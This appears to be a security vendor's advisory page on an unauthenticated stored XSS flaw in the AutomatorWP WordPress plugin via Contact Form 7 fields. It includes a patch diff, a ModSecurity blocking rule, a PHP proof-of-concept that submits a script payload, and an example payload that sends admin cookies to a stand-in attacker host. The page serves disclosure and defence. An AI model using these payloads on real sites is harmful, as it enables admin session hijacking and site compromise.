Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-120736: This is an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the AutomatorWP WordPress plugin, affecting versions up to and including 6.0.9. The flaw resides in the handling of Contact Form 7 (CF7) form field data that is stored as log metadata and later rendered in the administrative email log interface. An attacker can inject arbitrary JavaScript into a CF7 form field which, when viewed by an administrator, executes in the context of the WordPress admin panel. The CVSS score is 7.2 (High).
Root Cause: The vulnerability stems from insufficient sanitization of log meta values before storage and output. In `automatorwp/includes/logs.php`, the function `automatorwp_log_meta()` (implied by the diff context) previously only performed `wp_unslash`, `esc_sql`, and `sanitize_meta` on the meta value, but `sanitize_meta` alone does not apply context-aware HTML filtering. The CF7 integration’s `automatorwp_contact_form_7_get_form_fields()` in `automatorwp/integrations/contact-form-7/includes/functions.php` collects all form fields without sanitization. When a guest submits a form, the workflow captures these fields and stores them as log meta. The email log viewer then renders these values without escaping, leading to stored XSS. The diff shows that the patch adds a new function `automatorwp_sanitize_log_meta_value()` in `logs.php` that applies `wp_kses_post()` to string meta values before the standard sanitization. This strips dangerous HTML tags while allowing safe content.
Exploitation: An unauthenticated attacker identifies a public ‘Guest submits a form’ automation that uses Contact Form 7 and includes a Send-an-email action with a `form_field` tag referencing a CF7 field (e.g., `your-message`). The attacker submits the CF7 form with a malicious payload in that field, such as `fetch(‘https://attacker.com/steal?cookie=’+document.cookie)`. The payload is stored as log meta. When an administrator later views the automation’s email log entry (e.g., in the WordPress admin under AutomatorWP logs), the unsanitized script executes in the admin’s browser, allowing the attacker to steal cookies, perform actions as the admin, or compromise the site.
Patch Analysis: The patch introduces a new function `automatorwp_sanitize_log_meta_value()` that is called within the log meta saving process before the existing sanitizations. This function checks if the meta value is a string and applies `wp_kses_post()` to it, which strips dangerous HTML tags (like “) while allowing benign HTML. The patched code then proceeds with the original `wp_unslash`, `esc_sql`, and `sanitize_meta` calls. This ensures that stored meta values are safe for output, preventing script execution when rendered in the admin interface. The patch also updates several integrations to unconditionally call `automatorwp_utilities_pull_array_values()`, removing backward-compatibility checks, but these changes are unrelated to the XSS fix.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged-in administrator’s session. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data theft, or full site compromise. The vulnerability requires user interaction (an admin viewing the log), but the attack is unauthenticated and can be automated. Given the high CVSS score, this poses a significant risk to sites using AutomatorWP with CF7 integrations.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/automatorwp/automatorwp.php
+++ b/automatorwp/automatorwp.php
@@ -3,7 +3,7 @@
* Plugin Name: AutomatorWP
* Plugin URI: https://automatorwp.com
* Description: Connect your WordPress plugins together and create automated workflows with no code!
- * Version: 6.0.9
+ * Version: 6.1.0
* Author: AutomatorWP
* Author URI: https://automatorwp.com/
* Text Domain: automatorwp
@@ -119,7 +119,7 @@
private function constants() {
// Plugin version
- define( 'AUTOMATORWP_VER', '6.0.9' );
+ define( 'AUTOMATORWP_VER', '6.1.0' );
// Plugin file
define( 'AUTOMATORWP_FILE', __FILE__ );
--- a/automatorwp/includes/logs.php
+++ b/automatorwp/includes/logs.php
@@ -70,6 +70,11 @@
// Sanitize vars
$meta_key = sanitize_key( $meta_key );
$meta_key = wp_unslash( $meta_key );
+
+ // Sanitize meta value
+ $meta_value = automatorwp_sanitize_log_meta_value( $meta_value, $meta_key, $original_meta_value, $original_meta_key, $log_data, $log_meta );
+
+ // Apply the standard meta value sanitizations
$meta_value = wp_unslash( $meta_value );
$meta_value = esc_sql( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $ct_table->name );
@@ -112,6 +117,18 @@
}
+function automatorwp_sanitize_log_meta_value( $meta_value, $meta_key, $original_meta_value, $original_meta_key, $log_data, $log_meta ) {
+
+ if( is_string( $meta_value ) ) {
+ $meta_value = wp_kses_post( $meta_value );
+ }
+
+ $meta_value = apply_filters( 'automatorwp_sanitize_log_meta_value', $meta_value, $meta_key, $original_meta_value, $original_meta_key, $log_data, $log_meta );
+
+
+ return $meta_value;
+}
+
/**
* Get the log object data
*
--- a/automatorwp/integrations/activecampaign/includes/rest-api.php
+++ b/automatorwp/integrations/activecampaign/includes/rest-api.php
@@ -20,6 +20,7 @@
'methods' => 'POST',
'callback' => 'automatorwp_activecampaign_rest_api_cb',
'permission_callback' => '__return_true',
+ 'show_in_index' => false,
) );
}
--- a/automatorwp/integrations/arforms/includes/functions.php
+++ b/automatorwp/integrations/arforms/includes/functions.php
@@ -177,10 +177,8 @@
$form_fields[$name] = $value;
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/bbforms/includes/functions.php
+++ b/automatorwp/integrations/bbforms/includes/functions.php
@@ -105,10 +105,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/brizy/includes/functions.php
+++ b/automatorwp/integrations/brizy/includes/functions.php
@@ -147,12 +147,10 @@
$form_fields[$field_name] = $value;
}
-
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/caldera-forms/includes/functions.php
+++ b/automatorwp/integrations/caldera-forms/includes/functions.php
@@ -94,10 +94,8 @@
$form_fields[$field_name] = $field_value;
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/contact-form-7/includes/functions.php
+++ b/automatorwp/integrations/contact-form-7/includes/functions.php
@@ -56,10 +56,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/everest-forms/includes/functions.php
+++ b/automatorwp/integrations/everest-forms/includes/functions.php
@@ -26,10 +26,8 @@
$form_fields[$subfield['meta_key']]= $subfield['value'];
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/fluentform/includes/functions.php
+++ b/automatorwp/integrations/fluentform/includes/functions.php
@@ -105,10 +105,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/formidable-forms/includes/functions.php
+++ b/automatorwp/integrations/formidable-forms/includes/functions.php
@@ -95,10 +95,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/forminator/includes/functions.php
+++ b/automatorwp/integrations/forminator/includes/functions.php
@@ -37,10 +37,8 @@
$form_fields[$name] = $value;
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/gravity-forms/includes/functions.php
+++ b/automatorwp/integrations/gravity-forms/includes/functions.php
@@ -158,10 +158,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/happyforms/includes/functions.php
+++ b/automatorwp/integrations/happyforms/includes/functions.php
@@ -29,10 +29,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/kadence-blocks/includes/functions.php
+++ b/automatorwp/integrations/kadence-blocks/includes/functions.php
@@ -141,10 +141,8 @@
}
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/kali-forms/includes/functions.php
+++ b/automatorwp/integrations/kali-forms/includes/functions.php
@@ -40,10 +40,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/metform/includes/functions.php
+++ b/automatorwp/integrations/metform/includes/functions.php
@@ -40,10 +40,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/ninja-forms/includes/functions.php
+++ b/automatorwp/integrations/ninja-forms/includes/functions.php
@@ -99,10 +99,8 @@
$form_fields[$field_name] = $field_value;
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/weforms/includes/functions.php
+++ b/automatorwp/integrations/weforms/includes/functions.php
@@ -45,12 +45,10 @@
}
}
-
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/wpforms/includes/functions.php
+++ b/automatorwp/integrations/wpforms/includes/functions.php
@@ -32,10 +32,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
--- a/automatorwp/integrations/ws-form/includes/functions.php
+++ b/automatorwp/integrations/ws-form/includes/functions.php
@@ -107,10 +107,8 @@
}
- // Check for AutomatorWP 1.4.4
- if( function_exists( 'automatorwp_utilities_pull_array_values' ) ) {
- $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
- }
+ // Pull array values
+ $form_fields = automatorwp_utilities_pull_array_values( $form_fields );
return $form_fields;
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-120736
# This rule blocks stored XSS payloads in Contact Form 7 submissions that may be processed by AutomatorWP.
# It targets the CF7 REST API endpoint and inspects the form field values for script tags or event handlers.
# The rule is narrowly scoped to the CF7 feedback endpoint and only blocks requests containing obvious XSS patterns.
SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/v1/contact-forms/[0-9]+/feedback$"
"id:2026120736,phase:2,deny,status:403,chain,msg:'CVE-2026-120736: Stored XSS via Contact Form 7 form field',severity:'CRITICAL',tag:'CVE-2026-120736'"
SecRule ARGS_NAMES "@rx ^(_wpcf7|_wpnonce|_wp_http_referer)"
"t:none,chain"
SecRule ARGS "@rx <script|onerrors*=|onloads*=|javascripts*:"
"t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120736 - AutomatorWP <= 6.0.9 - Unauthenticated Stored XSS via Contact Form 7 Form Field
// Configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL
$payload = '<script>alert("XSS");</script>'; // Malicious payload
// Step 1: Identify a public CF7 form used in an AutomatorWP automation.
// This is site-specific; the attacker would need to discover the form ID and field name.
// For this PoC, we assume the form ID and field name are known or can be enumerated.
$form_id = 1; // Example CF7 form ID
$field_name = 'your-message'; // Example field name
// Step 2: Submit the CF7 form with the malicious payload.
// CF7 forms are typically submitted via AJAX to /wp-json/contact-form-7/v1/contact-forms/{id}/feedback or via POST to the page containing the form.
// We'll use the REST API endpoint if available, otherwise a direct POST.
$endpoint = $target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $form_id . '/feedback';
$post_data = array(
$field_name => $payload,
'_wpcf7' => $form_id,
'_wpcf7_version' => '5.6', // Adjust based on installed CF7 version
'_wpcf7_locale' => 'en_US',
'_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-p1-o1',
'_wpcf7_container_post' => '0',
// Add any additional required fields (e.g., your-name, your-email) as per the form
'your-name' => 'Test',
'your-email' => 'test@example.com',
'your-subject' => 'Test',
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Form submitted successfully. Response: " . substr($response, 0, 200) . "n";
echo "[+] The payload is now stored in the AutomatorWP log.n";
echo "[+] When an administrator views the email log entry, the XSS will execute.n";
} else {
echo "[-] Submission failed. HTTP code: " . $http_code . "n";
echo "[-] Response: " . substr($response, 0, 200) . "n";
}
// Note: The attacker may need to adjust the form ID, field names, and additional parameters based on the target site.
// This PoC is for educational purposes only. Do not use against systems without authorization.
?>